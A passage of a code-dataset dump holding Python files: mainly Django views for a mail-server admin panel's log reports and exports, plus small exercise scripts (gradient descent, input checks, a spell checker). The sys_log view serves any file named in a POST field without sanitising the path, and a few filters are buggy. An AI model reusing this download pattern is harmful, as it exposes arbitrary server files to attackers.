mailbox_id=d[\"mailbox_id\"]\n lists_in_data[mailbox_id] = d\n lists_out_success_data = {}\n for d in lists_out_success:\n mailbox_id=d[\"mailbox_id\"]\n lists_out_success_data[mailbox_id] = d\n lists_spam_data = {}\n for d in lists_spam:\n mailbox_id=d[\"mailbox_id\"]\n lists_spam_data[mailbox_id] = d\n #last_time = count_time(last_time)\n\n for d in user_lists:\n data = maillog_user_single(flag, user_lists, d, condition, lists_in_data, lists_out_success_data, lists_spam_data)\n lists.append([current_row, data[\"name\"], data[\"total_used\"], data[\"total_count\"], data[\"total_flow\"],\n data[\"in_count\"], data[\"in_flow\"], data[\"spam_count\"], data[\"spam_flow\"],\n data[\"out_count\"], data[\"out_flow\"], data[\"success_count\"], data[\"success_flow\"],\n data[\"failure_count\"], data[\"failure_flow\"], data[\"spam_ratio\"], data[\"out_ratio\"], ])\n current_row += 1\n if showmax and current_row>=showmax:\n break\n return ExcelResponse(lists, \"active.xls\", encoding='gbk')\n\n#########################################\n### 邮件统计报告\n@licence_required\ndef maillog_stat(request):\n mailbox_id = 0\n domain_id = get_domainid_bysession(request)\n save_days = get_save_days()\n smtp_in = get_mail_stat_data(domain_id, mailbox_id,\"smtp_in\")\n smtp_out = get_mail_stat_data(domain_id, mailbox_id,\"smtp_out\")\n imap_session = get_mail_stat_data(domain_id, mailbox_id,\"imap_session\")\n pop3_session = get_mail_stat_data(domain_id, mailbox_id,\"pop3_session\")\n spam_receive = get_mail_stat_data(domain_id, mailbox_id,\"spam_receive\")\n spam_reject = get_mail_stat_data(domain_id, mailbox_id,\"spam_reject\")\n spam_virus = get_mail_stat_data(domain_id, mailbox_id,\"spam_virus\")\n return render(request, \"rpt/maillog_stat.html\", context={\n \"smtp_in\": smtp_in,\n \"smtp_out\": smtp_out,\n \"imap_session\": imap_session,\n \"pop3_session\": pop3_session,\n \"spam_receive\": spam_receive,\n \"spam_reject\": spam_reject,\n \"spam_virus\": spam_virus,\n \"save_days\": save_days,\n })\n\n@licence_required\ndef maillog_stat_export(request):\n mailbox_id = 0\n domain_id = get_domainid_bysession(request)\n save_days = get_save_days()\n smtp_in = get_mail_stat_data(domain_id,mailbox_id,\"smtp_in\")\n smtp_out = get_mail_stat_data(domain_id,mailbox_id,\"smtp_out\")\n imap_session = get_mail_stat_data(domain_id,mailbox_id,\"imap_session\")\n pop3_session = get_mail_stat_data(domain_id,mailbox_id,\"pop3_session\")\n spam_receive = get_mail_stat_data(domain_id,mailbox_id,\"spam_receive\")\n spam_reject = get_mail_stat_data(domain_id,mailbox_id,\"spam_reject\")\n spam_virus = get_mail_stat_data(domain_id,mailbox_id,\"spam_virus\")\n\n nearday_name = _(u\"{}天总计\").format(save_days)\n lists = [[_(u'序号'), _(u'名称'), _(u'近期总计'), nearday_name, _(u'今日'), _(u'昨日'), _(u'2日之前'), _(u'3日之前'),_(u'4日之前'), _(u'5日之前'), _(u'6日之前')]]\n rows_mail =(\n (_(u\"SMTP邮件(收信)\"),smtp_in),\n (_(u\"SMTP邮件(发信)\"),smtp_out),\n (_(u\"IMAP会话\"),imap_session),\n (_(u\"POP3会话\"),pop3_session),\n (_(u\"已接收的垃圾邮件\"), spam_receive),\n (_(u\"已拒绝的垃圾邮件\"), spam_reject),\n (_(u\"已拒绝的病毒邮件\"), spam_virus),\n )\n current_row = 1\n for name, data in rows_mail:\n lists.append([current_row, name, data[\"stat_total\"], data[\"stat_week\"], data[\"stat_today\"],\n data[\"stat_1\"], data[\"stat_2\"], data[\"stat_3\"], data[\"stat_4\"], data[\"stat_5\"],data[\"stat_6\"],])\n current_row += 1\n return ExcelResponse(lists, \"mail_report.xls\", encoding='gbk')\n\n#########################################\n### 邮件日志查询\n@licence_required\ndef maillog_list(request):\n form = MailLogSearchForm(request.GET)\n return render(request, \"rpt/maillog_list.html\", context={\n \"form\": form,\n })\n\n@licence_required\ndef maillog_list_export(request):\n data = request.GET\n log_type = data.get('type', '')\n start_time = data.get('start_time', '')\n end_time = data.get('end_time', '')\n username = data.get('username', '')\n send_mail = data.get('send_mail', '')\n recv_mail = data.get('recv_mail', '')\n max_attach = data.get('max_attach', '')\n min_attach = data.get('min_attach', '')\n senderip = data.get('senderip', '')\n rcv_server = data.get('rcv_server', '')\n text = data.get('text', '')\n start_time = \"\" if start_time == 'None' else start_time\n end_time = \"\" if end_time == 'None' else end_time\n result = data.get('result', '0')\n\n condition = None\n domain_id = get_domainid_bysession(request)\n if domain_id:\n condition = add_condition(condition, Q(domain_id=domain_id))\n if log_type:\n condition = add_condition(condition, Q(type=log_type))\n if username:\n condition = add_condition(condition, (Q(send_mail__icontains=username) | Q(recv_mail__icontains=username)))\n if send_mail:\n condition = add_condition(condition, Q(send_mail__icontains=send_mail))\n if recv_mail:\n condition = add_condition(condition, Q(recv_mail__icontains=recv_mail))\n if senderip:\n condition = add_condition(condition, Q(senderip__icontains=senderip))\n if rcv_server:\n condition = add_condition(condition, Q(rcv_server__icontains=rcv_server))\n if result and result!=\"0\":\n condition = add_condition(condition, Q(result=result))\n if text:\n condition = add_condition(condition, Q(subject__icontains=text) | Q(attachment__icontains=text))\n\n if start_time or end_time:\n q = None\n if start_time:\n q = add_condition(q, Q(recv_time__gte=start_time))\n if end_time:\n q = add_condition(q, Q(recv_time__lte=end_time))\n condition = add_condition(condition, q)\n if max_attach or min_attach:\n q = None\n if min_attach:\n min_attach = int(float(min_attach) * 1024 * 1024)\n q = add_condition(q, Q(attachment_size__gte=min_attach))\n if max_attach:\n max_attach = int(float(max_attach) * 1024 * 1024)\n q = add_condition(q, Q(attachment_size__lte=max_attach))\n condition = add_condition(condition, q)\n\n # 每次查询只显示前10000结果\n max_show = 10000\n if condition:\n lists = MailLog.objects.filter(condition).order_by(\"-recv_time\")[:max_show]\n else:\n lists = MailLog.objects.all().order_by(\"-recv_time\")[:max_show]\n\n lists2 = [[_(u'序号'), _(u'时间'), _(u'用户名'), _(u'类型'), _(u'发件邮箱'), _(u'收件邮箱'), _(u'发件服务器'), _(u'收件服务器'), _(u'邮件标题'), _(u'附���名称'), _(u'附件大小'), _(u'投递位置'), _(u'结果'), _(u'投递提示')]]\n current_row = 1\n for d in lists:\n result = _(u'成功') if d.get_result == '1' else _(u'失败')\n #由 ugettext_lazy 包起来的数据要提前翻译\n t = _(d.get_type)\n lists2.append([current_row, d.get_time, d.get_username, t, d.send_mail, d.recv_mail, d.senderip, d.rcv_server, d.subject, d.attachment, d.get_attach_size, d.folder, result, d.remark])\n current_row += 1\n return ExcelResponse(lists2, \"maillog_list\", encoding='gbk')\n\n@licence_required\ndef maillog_list_ajax(request):\n data = request.GET\n order_column = data.get('order[0][column]', '')\n order_dir = data.get('order[0][dir]', '')\n search = data.get('search[value]', '')\n\n log_type = data.get('type', '')\n start_time = data.get('start_time', '')\n end_time = data.get('end_time', '')\n username = data.get('username', '')\n send_mail = data.get('send_mail', '')\n recv_mail = data.get('recv_mail', '')\n max_attach = data.get('max_attach', '')\n min_attach = data.get('min_attach', '')\n senderip = data.get('senderip', '')\n rcv_server = data.get('rcv_server', '')\n text = data.get('text', '')\n result = data.get('result', '0')\n\n start_time = \"\" if start_time=='None' else start_time\n end_time = \"\" if end_time=='None' else end_time\n\n colums = [\n 'id', 'recv_time', 'mailbox_id', 'type', 'rcv_server', 'send_mail',\n 'senderip', 'recv_mail', 'subject', 'attachment', 'attachment_size',\n 'folder', 'result', 'remark',\n ]\n\n domain_id = get_domainid_bysession(request)\n condition = Q(domain_id=domain_id)\n if search:\n condition = add_condition(condition, Q(send_mail__icontains=search) | Q(recv_mail__icontains=search))\n if log_type:\n condition = add_condition(condition, Q(type=log_type))\n if username:\n condition = add_condition(condition, (Q(send_mail__icontains=username) | Q(recv_mail__icontains=username)))\n if send_mail:\n condition = add_condition(condition, Q(send_mail__icontains=send_mail))\n if recv_mail:\n condition = add_condition(condition, Q(recv_mail__icontains=recv_mail))\n if senderip:\n condition = add_condition(condition, Q(senderip__icontains=senderip))\n if rcv_server:\n condition = add_condition(condition, Q(rcv_server__icontains=rcv_server))\n if result and result!=\"0\":\n condition = add_condition(condition, Q(result=result))\n if text:\n condition = add_condition(condition, Q(subject__icontains=text) | Q(attachment__icontains=text) \\\n | Q(send_mail__icontains=text) | Q(recv_mail__icontains=text) )\n if start_time or end_time:\n q = None\n if start_time:\n q = add_condition(q,Q(recv_time__gte=start_time))\n if end_time:\n q = add_condition(q,Q(recv_time__lte=end_time))\n condition = add_condition(condition, q)\n if max_attach or min_attach:\n q = None\n if min_attach:\n min_attach = int(float(min_attach)*1024*1024)\n q = add_condition(q,Q(attachment_size__gte=min_attach))\n if max_attach:\n max_attach = int(float(max_attach)*1024*1024)\n q = add_condition(q,Q(attachment_size__lte=max_attach))\n condition = add_condition(condition, q)\n\n #每次查询只显示前1000结果\n max_show = 1000\n lists = MailLog.objects.filter( condition )\n\n if order_column and int(order_column) < len(colums):\n if order_dir == 'desc':\n lists = lists.order_by('-%s' % colums[int(order_column)])[:max_show]\n else:\n lists = lists.order_by('%s' % colums[int(order_column)])[:max_show]\n else:\n lists = lists.order_by(\"-recv_time\")[:max_show]\n\n try:\n length = int(data.get('length', 1))\n except ValueError:\n length = 1\n\n try:\n start_num = int(data.get('start', '0'))\n page = start_num / length + 1\n except ValueError:\n start_num = 0\n page = 1\n\n count = lists.count()\n if start_num >= count:\n page = 1\n paginator = Paginator(lists, length)\n try:\n lists = paginator.page(page)\n except (EmptyPage, InvalidPage):\n lists = paginator.page(paginator.num_pages)\n rs = {\"sEcho\": 0, \"iTotalRecords\": count, \"iTotalDisplayRecords\": count, \"aaData\": []}\n re_str = '(.*?)'\n number = length * (page-1) + 1\n for d in lists.object_list:\n t = TemplateResponse(request, 'rpt/maillog_list_ajax.html', {'d': d, 'number': number})\n t.render()\n rs[\"aaData\"].append(re.findall(re_str, t.content, re.DOTALL))\n number += 1\n\n return HttpResponse(json.dumps(rs), content_type=\"application/json\")\n\n#########################################\n# 管理员操作日志\n@licence_required\ndef user_log(request):\n form = UserLogForm(request.GET)\n return render(request, \"rpt/user_log.html\", context={\n \"form\": form,\n })\n\n\ndef get_user_log_lists(request):\n start_time = request.GET.get('start_time', '')\n end_time = request.GET.get('end_time', '')\n username = request.GET.get('username', '')\n ip = request.GET.get('ip', '')\n classify = request.GET.get('classify', '')\n result = request.GET.get('result', '')\n domain_id = get_domainid_bysession(request)\n lists = CoUserLog.objects.filter(domain_id=domain_id)\n if start_time:\n lists = lists.filter(datetime__gte=start_time)\n if end_time:\n lists = lists.filter(datetime__lte=end_time)\n if username:\n uids = MailboxUser.objects.filter(domain_id=domain_id, realname__icontains=username).values_list('mailbox_id')\n lists = lists.filter(mailbox_id__in=uids)\n if ip:\n lists = lists.filter(clientip__icontains=ip)\n if classify:\n #邮件搬家有两种协议\n if classify in ('mail_moving',):\n lists = lists.filter(Q(classify='pop') | Q(classify='imap'))\n else:\n lists = lists.filter(classify=classify)\n if result:\n lists = lists.filter(result=result)\n return lists\n\nfrom django.template.defaultfilters import date as date_format\n@licence_required\ndef user_log_export(request):\n lists = get_user_log_lists(request)\n lists = lists[:1000]\n lists2 = [\n [_(u'序号'), _(u'时间'), _(u'用户名'), _(u'真实姓名'), _(u'邮箱'), _(u'手机号'), _(u'微信昵称'), _(u'头像'), _(u'操作类型'), _(u'模块动作'), _(u'结果'), _(u'详情'), _(u'客户端IP'),]]\n current_row = 1\n for d in lists:\n name, realname, mailbox, tel_mobile, nickname, img = \"\", \"\", \"\", \"\", \"\", \"\"\n # d,mailbox 可能为None\n m = d.mailbox if hasattr(d, \"mailbox\") else None\n if m:\n name, mailbox = m.name, m.username\n u = m.user\n if u:\n realname, tel_mobile = u.realname, u.tel_mobile\n w = d.wxuser\n if w:\n nickname, img = w.nickname, w.img\n lists2.append(\n [current_row, date_format(d.datetime, 'Y-m-d H:i'), name, realname, mailbox, tel_mobile, nickname, img,\n d.get_classify_display(), d.action, d.get_result_display(), d.description, d.clientip])\n current_row += 1\n return ExcelResponse(lists2, \"user_log\", encoding='gbk')\n\n@licence_required\ndef user_log_ajax(request):\n data = request.GET\n order_column = data.get('order[0][column]', '')\n order_dir = data.get('order[0][dir]', '')\n search = data.get('search[value]', '')\n domain_id = get_domainid_bysession(request)\n colums = ['id', 'datetime', 'mailbox__name', 'mailbox__mailboxuser__realname', 'mailbox__username',\n 'id', 'id', 'id', 'classify', 'id', 'result', 'id', 'clientip']\n lists = get_user_log_lists(request)\n if search:\n uids = MailboxUser.objects.filter(domain_id=domain_id, realname__icontains=search).values_list('mailbox_id')\n lists = lists.filter(mailbox_id__in=uids)\n\n if lists.exists() and order_column and int(order_column) < len(colums):\n if order_dir == 'desc':\n lists = lists.order_by('-%s' % colums[int(order_column)])\n else:\n lists = lists.order_by('%s' % colums[int(order_column)])\n try:\n length = int(data.get('length', 1))\n except ValueError:\n length = 1\n\n try:\n start_num = int(data.get('start', '0'))\n page = start_num / length + 1\n except ValueError:\n start_num = 0\n page = 1\n\n count = lists.count()\n if start_num >= count:\n page = 1\n paginator = Paginator(lists, length)\n try:\n lists = paginator.page(page)\n except (EmptyPage, InvalidPage):\n lists = paginator.page(paginator.num_pages)\n rs = {\"sEcho\": 0, \"iTotalRecords\": count, \"iTotalDisplayRecords\": count, \"aaData\": []}\n re_str = '(.*?)'\n number = length * (page-1) + 1\n for d in lists.object_list:\n t = TemplateResponse(request, 'rpt/user_log_ajax.html', {'d': d, 'number': number})\n t.render()\n rs[\"aaData\"].append(re.findall(re_str, t.content, re.DOTALL))\n number += 1\n return HttpResponse(json.dumps(rs), content_type=\"application/json\")\n\n@licence_required\ndef user_log_web(request):\n form = VisitLogForm(request.GET)\n return render(request, template_name='rpt/user_log_web.html', context={\n \"form\": form,\n })\n\n@licence_required\ndef user_log_web_ajax(request):\n data = request.GET\n order_column = data.get('order[0][column]', '')\n order_dir = data.get('order[0][dir]', '')\n search = data.get('search[value]', '')\n colums = ['logintime', 'mailbox__name', 'mailbox__username', 'logintime', 'lasttime', 'id', 'clienttype', 'clientip', 'id']\n domain_id = get_domainid_bysession(request)\n lists = VisitLog.objects.filter(domain_id=domain_id)\n\n name = request.GET.get('name', '')\n username = request.GET.get('username', '')\n start_time = request.GET.get('start_time', '')\n end_time = request.GET.get('end_time', '')\n ip = request.GET.get('ip', '')\n login_type = request.GET.get('login_type', '')\n is_online = request.GET.get('is_online', '')\n try:\n online_time_lt = int(request.GET.get('online_time_lt', '0'))\n except:\n online_time_lt = 0\n try:\n online_time_gt = int(request.GET.get('online_time_gt', '0'))\n except:\n online_time_gt = 0\n\n if name:\n lists = lists.filter(mailbox__name__icontains=name)\n if username:\n lists = lists.filter(mailbox__username__icontains=username)\n if start_time:\n lists = lists.filter(logintime__gte=start_time)\n if end_time:\n lists = lists.filter(logintime__lte=end_time)\n if ip:\n lists = lists.filter(clientip__icontains=ip)\n if login_type:\n lists = lists.filter(clienttype__icontains=login_type)\n if is_online == '1':\n lists = lists.extra(where=['( UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(lasttime) )<600'])\n if is_online == '-1':\n lists = lists.extra(where=['( UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(lasttime) )>=600'])\n if online_time_lt:\n lists = lists.extra(where=['( UNIX_TIMESTAMP(lasttime) - UNIX_TIMESTAMP(logintime) )<=%s'],\n params=[online_time_lt*3600])\n if online_time_gt:\n lists = lists.extra(where=['( UNIX_TIMESTAMP(lasttime) - UNIX_TIMESTAMP(logintime) )>=%s'],\n params=[online_time_gt*3600])\n if search:\n lists = lists.filter(mailbox__username__icontains=search)\n\n if order_column and int(order_column) < len(colums):\n if order_dir == 'desc':\n lists = lists.order_by('-%s' % colums[int(order_column)])\n else:\n lists = lists.order_by('%s' % colums[int(order_column)])\n\n try:\n length = int(data.get('length', 1))\n except ValueError:\n length = 1\n\n try:\n start_num = int(data.get('start', '0'))\n page = start_num / length + 1\n except ValueError:\n start_num = 0\n page = 1\n\n count = lists.count()\n if start_num >= count:\n page = 1\n paginator = Paginator(lists, length)\n try:\n lists = paginator.page(page)\n except (EmptyPage, InvalidPage):\n lists = paginator.page(paginator.num_pages)\n\n rs = {\"sEcho\": 0, \"iTotalRecords\": count, \"iTotalDisplayRecords\": count, \"aaData\": []}\n re_str = '(.*?)'\n number = length * (page-1) + 1\n for l in lists.object_list:\n continuetime = smooth_timedelta(l.lasttime - l.logintime)\n out_time = timezone.now() - l.lasttime\n is_login = True if out_time.total_seconds() <= 600 else False\n t = TemplateResponse(request, 'rpt/user_log_web_ajax.html', {'l': l, 'number': number, 'continuetime': continuetime, 'is_login': is_login})\n t.render()\n rs[\"aaData\"].append(re.findall(re_str, t.content, re.DOTALL))\n number += 1\n return HttpResponse(json.dumps(rs), content_type=\"application/json\")\n\n@licence_required\ndef user_log_client(request):\n form = AuthLogForm(request.GET)\n return render(request, template_name='rpt/user_log_client.html', context={\n \"form\": form,\n })\n\n@licence_required\ndef user_log_client_ajax(request):\n data = request.GET\n order_column = data.get('order[0][column]', '')\n order_dir = data.get('order[0][dir]', '')\n search = data.get('search[value]', '')\n colums = ['id', 'user', 'type', 'time', 'client_ip', 'is_login']\n domain_id = get_domainid_bysession(request)\n lists = AuthLog.objects.filter(domain_id=domain_id)\n\n vtype = request.GET.get('vtype', '')\n username = request.GET.get('username', '')\n start_time = request.GET.get('start_time', '')\n end_time = request.GET.get('end_time', '')\n ip = request.GET.get('ip', '')\n is_login = request.GET.get('is_login', '')\n\n if vtype:\n lists = lists.filter(type=vtype)\n if username:\n lists = lists.filter(user__icontains=username)\n if start_time:\n lists = lists.filter(time__gte=start_time)\n if end_time:\n lists = lists.filter(time__lte=end_time)\n if ip:\n lists = lists.filter(client_ip__icontains=ip)\n if is_login == '-1':\n lists = lists.filter(is_login=False)\n if is_login == '1':\n lists = lists.filter(is_login=False)\n\n if search:\n lists = lists.filter(user__icontains=search)\n\n if order_column and int(order_column) < len(colums):\n if order_dir == 'desc':\n lists = lists.order_by('-%s' % colums[int(order_column)])\n else:\n lists = lists.order_by('%s' % colums[int(order_column)])\n\n try:\n length = int(data.get('length', 1))\n except ValueError:\n length = 1\n\n try:\n start_num = int(data.get('start', '0'))\n page = start_num / length + 1\n except ValueError:\n start_num = 0\n page = 1\n\n count = lists.count()\n if start_num >= count:\n page = 1\n paginator = Paginator(lists, length)\n try:\n lists = paginator.page(page)\n except (EmptyPage, InvalidPage):\n lists = paginator.page(paginator.num_pages)\n\n rs = {\"sEcho\": 0, \"iTotalRecords\": count, \"iTotalDisplayRecords\": count, \"aaData\": []}\n re_str = '(.*?)'\n number = length * (page-1) + 1\n for l in lists.object_list:\n t = TemplateResponse(request, 'rpt/user_log_client_ajax.html', {'l': l, 'number': number})\n t.render()\n rs[\"aaData\"].append(re.findall(re_str, t.content, re.DOTALL))\n number += 1\n return HttpResponse(json.dumps(rs), content_type=\"application/json\")\n\n#########################################\n# 管理员操作日志\n@licence_required\ndef admin_log(request):\n form = AdminLogForm(request.GET)\n return render(request, \"rpt/admin_log.html\", context={\n \"form\": form,\n })\n\nfrom django.contrib.contenttypes.models import ContentType\n@licence_required\ndef admin_log_ajax(request):\n data = request.GET\n order_column = data.get('order[0][column]', '')\n order_dir = data.get('order[0][dir]', '')\n search = data.get('search[value]', '')\n start_time = data.get('start_time', '')\n end_time = data.get('end_time', '')\n content_type = data.get('content_type', '')\n domain_id = data.get('domain', '')\n logs = LogEntry.objects.all()\n if content_type:\n try:\n content_type_id = int(content_type)\n logs = logs.filter(content_type_id=content_type_id)\n except BaseException as e:\n logs = logs.filter(extend_type=content_type)\n if domain_id:\n logs = logs.filter(domain_id=domain_id)\n\n if start_time:\n logs = logs.filter(timestamp__gte=start_time)\n if end_time:\n logs = logs.filter(timestamp__lte=start_time)\n if search:\n logs = logs.filter(remote_addr__icontains=search)\n # Q(remote_addr__icontains=search) | Q(changes__icontains=search) )\n\n colums = ['id', 'content_type', 'changes', 'action', 'actor', 'remote_addr', 'timestamp']\n if logs.exists() and order_column and int(order_column) < len(colums):\n col_name = colums[int(order_column)]\n if order_dir == 'desc':\n logs = logs.order_by('-%s' % col_name)\n else:\n logs = logs.order_by('%s' % col_name)\n\n try:\n length = int(data.get('length', 1))\n except ValueError:\n length = 1\n\n try:\n page = int(data.get('start', '0')) / length + 1\n except ValueError:\n page = 1\n\n count = len(logs)\n\n paginator = Paginator(logs, length)\n\n try:\n logs = paginator.page(page)\n except (EmptyPage, InvalidPage):\n logs = paginator.page(paginator.num_pages)\n\n rs = {\"sEcho\": 0, \"iTotalRecords\": count, \"iTotalDisplayRecords\": count, \"aaData\": []}\n re_str = '(.*?)'\n for d in logs.object_list:\n t = TemplateResponse(request, 'rpt/admin_log_ajax.html', {'d': d})\n t.render()\n rs[\"aaData\"].append(re.findall(re_str, t.content, re.DOTALL))\n return HttpResponse(json.dumps(rs), content_type=\"application/json\")\n # return HttpResponse(json.dumps(rs, ensure_ascii=False), content_type=\"application/json\")\n\n#########################################\n# 底层程序日志\n@cache_page(60 * 5)\n@licence_required\ndef sys_log(request):\n logpath = \"/usr/local/u-mail/log/app\"\n if request.method == 'POST':\n name = request.POST.get('name')\n status = request.POST.get('status')\n if status == \"download\":\n filepath = os.path.join(logpath, name)\n if os.path.exists(filepath):\n wrapper = FileWrapper(file(filepath))\n response = HttpResponse(wrapper, content_type='application/octet-stream')\n response['Content-Length'] = os.path.getsize(filepath)\n response['Content-Disposition'] = 'attachment; filename=%s' % name\n return response\n else:\n messages.add_message(request, messages.ERROR, _(u'日志文件不存在'))\n return redirect(\"log_maintain\")\n\n index = 0\n lists = []\n listsa = os.listdir(logpath)\n listsa.sort()\n for line in listsa:\n filepath = os.path.join(logpath, line)\n if os.path.isfile(filepath):\n size = os.path.getsize(filepath)\n desc = getLogDesc(line)\n index += 1\n lists.append(\n LogFormat._make( [index, line, desc, size] )\n )\n return render(request, \"rpt/sys_log.html\", context={\n \"lists\": lists,\n })\n","sub_path":"linuxOperation/app/rpt/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":47365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"304853095","text":"import numpy as np\nfrom computeCost import computeCost\n\ndef gradientDescent(X, y, theta, alpha, iterations):\n m = len(y)\n history = np.zeros(iterations)\n\n for n in range(iterations):\n val = np.dot(np.transpose(np.dot(X, theta)) - y, X)\n theta = np.add(theta, -1 * alpha * (1./m) * np.transpose(val))\n\n history[n] = computeCost(X, y, theta)\n # END for\n return (theta, history)\n","sub_path":"ex1/python/gradientDescent.py","file_name":"gradientDescent.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"76528473","text":"def BadInputs(k,j,l):\n while (NumberTest(k) is False):\n print(not_number)\n k = input(j)\n while float(k) <0:\n print(too_small)\n k = input(j)\n while float(k) >=l:\n print(too_large)\n k = input(j)\n\ndef NumberTest(i):\n try:\n val = float(i)\n return True\n except ValueError:\n return False\n\nnot_number = \"Error message: not a number\"\ntoo_small = \"Error message: number too small\"\ntoo_large = \"Error message: number too large\"\n\nweeks_max = 52\nweeks_vacation_clarification = \"Sorry, please enter a number between 0 and 52 for the number of weeks you were on vacation or leave this year: \"\n\n# Intro\nprint(\"Welcome to Amanda's D.C. Public Transit Annual Expense Calculator\")\nprint(\"First, I need some information.\")\nprint(\" \")\n# set variable weeks per year\nweeks_vacation = input(\"\"\"About how many weeks this year were you on vacation or leave? \"\"\")\n#need an if or while statement to check the validity of each input\n\nBadInputs(weeks_vacation,weeks_vacation_clarification,weeks_max)\n","sub_path":"original_code/experiments/function_for_input_tests.py","file_name":"function_for_input_tests.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"118032960","text":"# 16321 programming1 Coursework1 Spell checker\n\n# part1--main menu & deal with inputs\n\n# calculate the total time taken\nimport time\nstart = time.time()\n\n# start the program\n# deal with inputs\nwhile True:\n Main_Menu = ['quit', 'spell check a sentence', 'spell check a file']\n print(\"╔═══════ ╳ Main Menu╳ ═══════╗\")\n for idx, val in enumerate(Main_Menu):\n print(\"║\\000\" + str(idx) + \".\" + val + \"\\000║\".rjust(26-len(val)))\n print(\"╚════════════════════════════╝\")\n choice_start = input(\" please choose: \")\n\n # correct input\n # 0--quit the program\n if choice_start == str(0):\n print(\"thanks for using, goodbye!\")\n break\n\n # spell check\n elif choice_start == str(1) or choice_start == str(2):\n # 1--sentence\n while True:\n if choice_start == str(1):\n sentence = input(\"please enter a sentence: \")\n\n # remove punctuation and split sentences\n sentence = sentence.lower()\n import re\n sentence = re.sub(r\"[^A-Za-z ]\", \"\", sentence)\n words_object = sentence.split()\n break\n\n # 2--file spelling check\n if choice_start == str(2):\n\n while True:\n filename = input(\"please enter a file name: \")\n\n # valid--split into words\n try:\n with open(filename, \"r\") as file_object:\n input_lines = file_object.readlines()\n\n # remove punctuations\n words_list = []\n for line in input_lines:\n import re\n line = re.sub(r\"[^A-Za-z ]\", \"\", line)\n line = line.lower()\n words_list.append(line)\n\n # change to string & split string\n words_file = (\" \".join(str(i) for i in words_list))\n words_object = words_file.split()\n\n # file name not valid - try again\n except FileNotFoundError:\n print(f\"Sorry, the file ' {filename} ' does not exits.\")\n continue\n else:\n break\n break\n\n # part2--spell checking\n\n with open(\"EnglishWords.txt\", \"r+\") as file_source:\n content = file_source.read()\n words_source = content.split()\n\n wordcount = 0\n correct_count = 0\n error_count = 0\n added_count = 0\n changed_count = 0\n\n # check if the input includes English words--my idea\n if not words_object:\n print(\"The input you entered do not include any English words, please try again.\")\n continue\n # check if correct\n else:\n for word in words_object:\n wordcount += 1\n\n if word in words_source:\n print(\"Correct spelling: \" + word)\n correct_count += 1\n\n # if not correct --menu two\n else:\n print(f\"There is a spelling error on word '{word}',\")\n correcting_menu = [\"ignore\", \"mark\", \"add to dictionary\", \"present a suggestion\"]\n while True:\n print(\"╔══════ ╳ Correcting Menu╳ ══════╗\")\n for idx, val in enumerate(correcting_menu, start=1):\n print(\"║\\000\" + str(idx) + \".\" + val + \"║\".rjust(29-len(val)))\n print(\"╚════════════════════════════════╝\")\n choice_correct = input(\"Please choose: \")\n\n # 1--ignore count as correct spelling\n if choice_correct == str(1):\n correct_count = correct_count+1\n break\n\n # 2--mark count as incorrect spelling\n elif choice_correct == str(2):\n error_count += 1\n words_object[wordcount-1] = f\"?{word}?\"\n print(word)\n break\n\n # 3--add to txt count as correct\n elif choice_correct == str(3):\n correct_count += 1\n added_count += 1\n with open(\"EnglishWords.txt\", \"a\") as file_source:\n file_source.write(\"\\n\" + word )\n break\n\n # 4--give a suggestion\n elif choice_correct == str(4):\n\n # calculate similarity\n similarity = []\n for word_s in words_source:\n from difflib import SequenceMatcher\n score = SequenceMatcher(None, word, word_s) .ratio()\n similarity.append(score)\n\n # give the suggestion - most similar\n print(f\"Do you mean {words_source[similarity.index(max(similarity))]} ?\")\n while True:\n print(\"╔══ ╳choice suggestion╳ ══╗\")\n print(\"║0. reject the suggestion ║\")\n print(\"║1. accept the suggestion ║\")\n print(\"╚═════════════════════════╝\")\n choice_suggestion = input(\"Please choose:\")\n\n # 0--reject\n if choice_suggestion == str(0):\n error_count += 1\n break\n # if 1--accept\n elif choice_suggestion == str(1):\n correct_count += 1\n changed_count += 1\n words_object[wordcount - 1] = f\"{words_source[similarity.index(max(similarity))]}\"\n break\n else:\n print(f\"Sorry, {choice_suggestion} is not a valid input, please try again.\")\n continue\n break\n else:\n print(f\"Sorry, {choice_correct} is not a valid input.\")\n continue\n # creating summary\n print(\"Generating a new file,please wait...\")\n wordcount_output = \"Total word count: \" + str(wordcount)\n correct_output = \"Correct spelling count: \" + str(correct_count)\n error_output = \"Error spelling count: \" + str(error_count)\n add_output = \"Adding to list: \" + str(added_count)\n change_output = \"changed by suggestion: \" + str(changed_count)\n\n localtime = \"Localtime: \" + time.asctime(time.localtime(time.time()))\n end = time.time()\n time_output = \"Total time taken: \" + str(end-start) + \" s\"\n\n new_file = input(\"Please input the name of new file: \")\n count = wordcount_output + \"\\n\" + correct_output + \"\\n\" + error_output + \"\\n\" +\\\n add_output + \"\\n\" + change_output\n time_ = localtime + \"\\n\" + time_output\n new_content = \" \".join(words_object)\n full_text = count + \"\\n\" + time_ + \"\\n\\n\" + new_content\n\n # create a new file\n def txt(name, text):\n file = open(name + \".txt\", \"w\")\n file.write(text)\n\n txt(new_file, full_text)\n\n print(\"The spell checking has been finished. You can quit or back to main menu.\")\n while True:\n print(\"╔═════ ╳final menu╳ ═════╗\")\n print(\"║0. quit ║\")\n print(\"║1. back to the main menu║\")\n print(\"╚════════════════════════╝\")\n choice_final = input(\"Please choose: \")\n\n # final choice-- quit or go back to the main menu\n\n if choice_final == str(0):\n print(\"Thanks for using, good bye!\")\n exit()\n\n # 1-- go back to the main menu.\n elif choice_final == str(1):\n break\n\n else:\n print(f\"Sorry, ' {choice_final} ' is not a valid input.\")\n continue\n\n # wrong input\n else:\n print(f\"Sorry, ' {choice_start} ' is not a valid input, please try again.\")\n continue\n","sub_path":"sem1/cw1.py","file_name":"cw1.py","file_ext":"py","file_size_in_byte":9044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"97891298","text":"# -*- coding: utf-8 -*-\n\"\"\"\nExercise 10 learning python the hardway\n\n@author: bernardostearnsreisendepinho\n\"\"\"\n#python 3.x you have to use parenthesis on print!\n\ntabby_cat = \"\\tI'm tabbed in.\"\npersian_cat = \"I'm split\\non a line.\"\nbackslash_cat = \"I'm \\ a \\ 